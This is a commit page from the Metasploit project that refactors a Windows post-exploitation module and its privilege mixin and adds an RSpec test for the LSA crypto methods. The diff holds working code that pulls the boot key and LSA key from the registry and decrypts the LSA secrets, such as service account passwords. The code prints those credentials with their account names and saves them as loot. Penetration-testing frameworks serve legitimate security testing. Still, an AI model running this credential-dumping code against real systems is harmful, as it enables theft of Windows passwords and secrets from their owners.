Refactor lsa and add a spec for its crypto methods
parent
8f2ba68934
commit
3168359a82
|
@ -92,7 +92,11 @@ module Msf::Post::Windows::Priv
|
||||||
basekey = "System\\CurrentControlSet\\Control\\Lsa"
|
basekey = "System\\CurrentControlSet\\Control\\Lsa"
|
||||||
|
|
||||||
%W{JD Skew1 GBG Data}.each do |k|
|
%W{JD Skew1 GBG Data}.each do |k|
|
||||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
|
begin
|
||||||
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError
|
||||||
|
end
|
||||||
|
|
||||||
return nil if not ok
|
return nil if not ok
|
||||||
bootkey << [ok.query_class.to_i(16)].pack("V")
|
bootkey << [ok.query_class.to_i(16)].pack("V")
|
||||||
ok.close
|
ok.close
|
||||||
|
@ -155,26 +159,24 @@ module Msf::Post::Windows::Priv
|
||||||
# Returns the LSA key upon input of the unscrambled bootkey
|
# Returns the LSA key upon input of the unscrambled bootkey
|
||||||
#
|
#
|
||||||
def capture_lsa_key(bootkey)
|
def capture_lsa_key(bootkey)
|
||||||
begin
|
vprint_status("Getting PolSecretEncryptionKey...")
|
||||||
vprint_status("Getting PolSecretEncryptionKey...")
|
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "")
|
||||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ)
|
if pol
|
||||||
pol = ok.query_value("").data
|
|
||||||
vprint_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}")
|
|
||||||
ok.close
|
|
||||||
print_status("XP or below client")
|
print_status("XP or below client")
|
||||||
@vista = 0
|
@vista = 0
|
||||||
rescue
|
else
|
||||||
vprint_status("Trying 'V72' style...")
|
vprint_status("Trying 'V72' style...")
|
||||||
vprint_status("Getting PolEKList...")
|
vprint_status("Getting PolEKList...")
|
||||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ)
|
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "")
|
||||||
pol = ok.query_value("").data
|
|
||||||
vprint_good("Pol: #{pol.unpack("H*")[0]}")
|
|
||||||
ok.close
|
|
||||||
print_status("Vista or above client")
|
print_status("Vista or above client")
|
||||||
@vista = 1
|
@vista = 1
|
||||||
end
|
end
|
||||||
|
# If that didn't work, then we're out of luck
|
||||||
|
return nil if pol.nil?
|
||||||
|
|
||||||
if( @vista == 1 )
|
vprint_good("Pol: #{pol.unpack("H*")[0]}")
|
||||||
|
|
||||||
|
if @vista == 1
|
||||||
lsakey = decrypt_lsa_data(pol, bootkey)
|
lsakey = decrypt_lsa_data(pol, bootkey)
|
||||||
lsakey = lsakey[68,32]
|
lsakey = lsakey[68,32]
|
||||||
vprint_good(lsakey.unpack("H*")[0])
|
vprint_good(lsakey.unpack("H*")[0])
|
||||||
|
@ -194,13 +196,15 @@ module Msf::Post::Windows::Priv
|
||||||
return lsakey
|
return lsakey
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Decrypts the LSA encrypted data
|
# Decrypts the LSA encrypted data
|
||||||
#
|
#
|
||||||
def decrypt_lsa_data(pol, encryptedkey)
|
# @param pol [String] The policy key stored in the registry
|
||||||
|
# @param encrypted_key [String]
|
||||||
|
# @return [String] The decrypted data
|
||||||
|
def decrypt_lsa_data(pol, encrypted_key)
|
||||||
|
|
||||||
sha256x = Digest::SHA256.new()
|
sha256x = Digest::SHA256.new()
|
||||||
sha256x << encryptedkey
|
sha256x << encrypted_key
|
||||||
(1..1000).each do
|
(1..1000).each do
|
||||||
sha256x << pol[28,32]
|
sha256x << pol[28,32]
|
||||||
end
|
end
|
||||||
|
@ -216,17 +220,20 @@ module Msf::Post::Windows::Priv
|
||||||
aes.decrypt
|
aes.decrypt
|
||||||
aes.padding = 0
|
aes.padding = 0
|
||||||
xx = aes.update(pol[i...i+16])
|
xx = aes.update(pol[i...i+16])
|
||||||
decrypted_data += xx
|
decrypted_data << xx
|
||||||
end
|
end
|
||||||
vprint_good("Dec_Key #{decrypted_data}")
|
|
||||||
|
|
||||||
return decrypted_data
|
return decrypted_data
|
||||||
end
|
end
|
||||||
|
|
||||||
# Decrypts "Secret" encrypted data
|
# Decrypts "Secret" encrypted data
|
||||||
# Ruby implementation of SystemFunction005
|
|
||||||
# the original python code has been taken from Credump
|
|
||||||
#
|
#
|
||||||
|
# Ruby implementation of SystemFunction005. The original python code
|
||||||
|
# has been taken from Credump
|
||||||
|
#
|
||||||
|
# @param secret [String]
|
||||||
|
# @param key [String]
|
||||||
|
# @return [String] The decrypted data
|
||||||
def decrypt_secret_data(secret, key)
|
def decrypt_secret_data(secret, key)
|
||||||
|
|
||||||
j = 0
|
j = 0
|
||||||
|
|
|
@ -30,79 +30,70 @@ class Metasploit3 < Msf::Post
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
def reg_getvaldata(key,valname)
|
|
||||||
v = nil
|
|
||||||
begin
|
|
||||||
root_key, base_key = client.sys.registry.splitkey(key)
|
|
||||||
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
|
|
||||||
vprint_status("reading key: #{key}#{valname}\n")
|
|
||||||
v = open_key.query_value(valname).data
|
|
||||||
open_key.close
|
|
||||||
rescue
|
|
||||||
print_error("Error opening key!")
|
|
||||||
end
|
|
||||||
return v
|
|
||||||
end
|
|
||||||
|
|
||||||
|
# Decrypted LSA key is passed into this function
|
||||||
|
def get_secret(lsa_key)
|
||||||
|
output = "\n"
|
||||||
|
|
||||||
#Decrypted LSA key is passed into this function
|
# LSA Secret key location within the registry
|
||||||
def get_secret(lkey)
|
root_regkey = "HKLM\\Security\\Policy\\Secrets\\"
|
||||||
sec_str = "\n"
|
services_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\"
|
||||||
|
|
||||||
#LSA Secret key location within the register
|
secrets = registry_enumkeys(root_regkey)
|
||||||
root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\"
|
|
||||||
|
|
||||||
key_arr = meterpreter_registry_enumkeys(root_key)
|
secrets.each do |secret_regkey|
|
||||||
|
sk_arr = registry_enumkeys(root_regkey + "\\" + secret_regkey)
|
||||||
|
next unless sk_arr
|
||||||
|
|
||||||
key_arr.each do |keys|
|
|
||||||
mid_key = root_key + "\\" + keys
|
|
||||||
sk_arr = meterpreter_registry_enumkeys(mid_key)
|
|
||||||
sk_arr.each do |mkeys|
|
sk_arr.each do |mkeys|
|
||||||
#CurrVal stores the currently set value of the key, in the case of
|
# CurrVal stores the currently set value of the key. In the case
|
||||||
#services it usually come out as plan text
|
# of services, this is usually the password for the service
|
||||||
if(mkeys == "CurrVal")
|
# account.
|
||||||
val_key = root_key + "\\" + keys + "\\" + mkeys
|
next unless mkeys == "CurrVal"
|
||||||
v_name = ""
|
|
||||||
sec = reg_getvaldata(val_key, v_name)
|
|
||||||
if( @vista == 1 )
|
|
||||||
#Magic happens here
|
|
||||||
sec = sec[0..-1]
|
|
||||||
sec = decrypt_lsa_data(sec, lkey)[1..-1].scan(/[[:print:]]/).join
|
|
||||||
else
|
|
||||||
#and here
|
|
||||||
sec = sec[0xC..-1]
|
|
||||||
sec = decrypt_secret_data(sec, lkey).scan(/[[:print:]]/).join
|
|
||||||
end
|
|
||||||
|
|
||||||
if(sec.length > 0)
|
val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys
|
||||||
if(keys[0,4] == "_SC_")
|
encrypted_secret = registry_getvaldata(val_key, "")
|
||||||
user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"
|
|
||||||
keys_c = keys[4,keys.length]
|
|
||||||
user_key = user_key << keys_c
|
|
||||||
n_val = "ObjectName"
|
|
||||||
user_n = reg_getvaldata(user_key, n_val)
|
|
||||||
|
|
||||||
#if the unencrypted value is not blank and is a service, print
|
if @vista == 1
|
||||||
print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n")
|
# Magic happens here
|
||||||
sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n"
|
decrypted = decrypt_lsa_data(encrypted_secret, lsa_key)
|
||||||
else
|
else
|
||||||
#if the unencrypted value is not blank, print
|
# and here
|
||||||
print_good("Key: #{keys} \n Decrypted Value: #{sec}\n")
|
encrypted_secret = encrypted_secret[0xC..-1]
|
||||||
sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n"
|
decrypted = decrypt_secret_data(encrypted_secret, lsa_key)
|
||||||
end
|
end
|
||||||
else
|
|
||||||
next
|
next unless decrypted.length > 0
|
||||||
end
|
|
||||||
|
# axe all the non-printables
|
||||||
|
decrypted = decrypted.scan(/[[:print:]]/).join
|
||||||
|
|
||||||
|
if secret_regkey.start_with?("_SC_")
|
||||||
|
# Service secrets are named like "_SC_yourmom" for a service
|
||||||
|
# with name "yourmom". Strip off the "_SC_" to get something
|
||||||
|
# we can lookup in the list of services to find out what
|
||||||
|
# account this secret is associated with.
|
||||||
|
svc_name = secret_regkey[4,secret_regkey.length]
|
||||||
|
svc_user = registry_getvaldata(services_key + svc_name, "ObjectName")
|
||||||
|
|
||||||
|
# if the unencrypted value is not blank and is a service, print
|
||||||
|
print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n")
|
||||||
|
output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n"
|
||||||
|
else
|
||||||
|
# if the unencrypted value is not blank, print
|
||||||
|
print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n")
|
||||||
|
output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return sec_str
|
|
||||||
|
return output
|
||||||
end
|
end
|
||||||
|
|
||||||
# The sauce starts here
|
# The sauce starts here
|
||||||
def run
|
def run
|
||||||
|
|
||||||
hostname = session.sys.config.sysinfo['Computer']
|
hostname = sysinfo['Computer']
|
||||||
print_status("Executing module against #{hostname}")
|
print_status("Executing module against #{hostname}")
|
||||||
|
|
||||||
print_status('Obtaining boot key...')
|
print_status('Obtaining boot key...')
|
||||||
|
@ -110,10 +101,14 @@ class Metasploit3 < Msf::Post
|
||||||
vprint_status("Boot key: #{bootkey.unpack("H*")[0]}")
|
vprint_status("Boot key: #{bootkey.unpack("H*")[0]}")
|
||||||
|
|
||||||
print_status('Obtaining Lsa key...')
|
print_status('Obtaining Lsa key...')
|
||||||
lsakey = capture_lsa_key(bootkey)
|
lsa_key = capture_lsa_key(bootkey)
|
||||||
vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
|
if lsa_key.nil?
|
||||||
|
print_error("Could not retrieve LSA key. Are you SYSTEM?")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
vprint_status("Lsa Key: #{lsa_key.unpack("H*")[0]}")
|
||||||
|
|
||||||
secrets = hostname << get_secret(lsakey)
|
secrets = hostname + get_secret(lsa_key)
|
||||||
|
|
||||||
print_status("Writing to loot...")
|
print_status("Writing to loot...")
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,69 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'spec_helper'
|
||||||
|
|
||||||
|
require 'msf/core/post/windows/priv'
|
||||||
|
|
||||||
|
describe Msf::Post::Windows::Priv do
|
||||||
|
|
||||||
|
subject do
|
||||||
|
mod = Module.new
|
||||||
|
mod.extend described_class
|
||||||
|
mod.stub :vprint_status
|
||||||
|
mod.stub :print_status
|
||||||
|
mod
|
||||||
|
end
|
||||||
|
|
||||||
|
# For Vista and newer
|
||||||
|
describe "#decrypt_lsa_data" do
|
||||||
|
let(:ciphertext) do
|
||||||
|
# From "HKLM\\Security\\Policy\\Secrets\\"
|
||||||
|
"\x00\x00\x00\x01\x68\x6e\x97\x93\xdb\xdb\xde\xc8\xf7\x40\x08\x79"+
|
||||||
|
"\x9d\x91\x64\x1c\x03\x00\x00\x00\x00\x00\x00\x00\x68\x38\x3f\xc5"+
|
||||||
|
"\x94\x10\xac\xcf\xbe\xf7\x8d\x12\xc0\xd5\xa2\x9d\x3d\x30\x30\xa8"+
|
||||||
|
"\x6d\xbd\xc6\x48\xd3\xe4\x36\x33\x86\x91\x0d\x8d\x8f\xfc\xd4\x8a"+
|
||||||
|
"\x87\x0c\x83\xde\xb4\x73\x9e\x21\x1b\x39\xef\x04\x36\x67\x97\x8a"+
|
||||||
|
"\x43\x40\x79\xcf\xdb\x3d\xcc\xfe\x10\x0c\x78\x11\x00\x00\x00\x00"+
|
||||||
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||||
|
end
|
||||||
|
let(:lsa_key) do
|
||||||
|
"\x93\x19\xb7\xb3\x93\x5b\xcb\x53\x5c\xb0\x54\xce\x0f\x5e\x27\xfd"+
|
||||||
|
"\x4f\xd1\xe3\xd3\x5b\x8c\x90\x4c\x13\xda\xb8\x39\xcc\x4e\x28\x43"
|
||||||
|
end
|
||||||
|
let(:plaintext) do
|
||||||
|
# Length of actual data?
|
||||||
|
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||||
|
# Unicode msfadmin
|
||||||
|
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"+
|
||||||
|
# As far as I can tell, the rest of the data is gibberish?
|
||||||
|
# Possibly random padding, since plaintext seems to always be a
|
||||||
|
# multiple of 16 bytes.
|
||||||
|
"\xc3\x5f\x85\xc2\x62\x55\x25\x6c\x42\x89\x88\xc1\xe0\xe8\x17\x5e"
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should produce expected plaintext" do
|
||||||
|
decrypted = subject.decrypt_lsa_data(ciphertext, lsa_key)
|
||||||
|
decrypted.should == plaintext
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# For XP and older
|
||||||
|
describe "#decrypt_secret_data" do
|
||||||
|
let(:ciphertext) do
|
||||||
|
# From "HKLM\\Security\\Policy\\Secrets\\"
|
||||||
|
"\x22\xea\xc4\xd8\xfc\x5d\x36\xf4\x2e\x8b\xd3\x0f\x5d\xbc\xc4\x3a" +
|
||||||
|
"\x37\x4b\x84\xea\xa0\xc0\x96\x61"
|
||||||
|
end
|
||||||
|
let(:boot_key) do
|
||||||
|
"\x27\x18\x0a\x2e\xe0\xfb\x98\x52\x77\x06\x24\x8e\x21\x80\xf4\x56"
|
||||||
|
end
|
||||||
|
let(:plaintext) do
|
||||||
|
# Unicode "msfadmin"
|
||||||
|
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should produce expected plaintext" do
|
||||||
|
subject.decrypt_secret_data(ciphertext, boot_key).should == plaintext
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue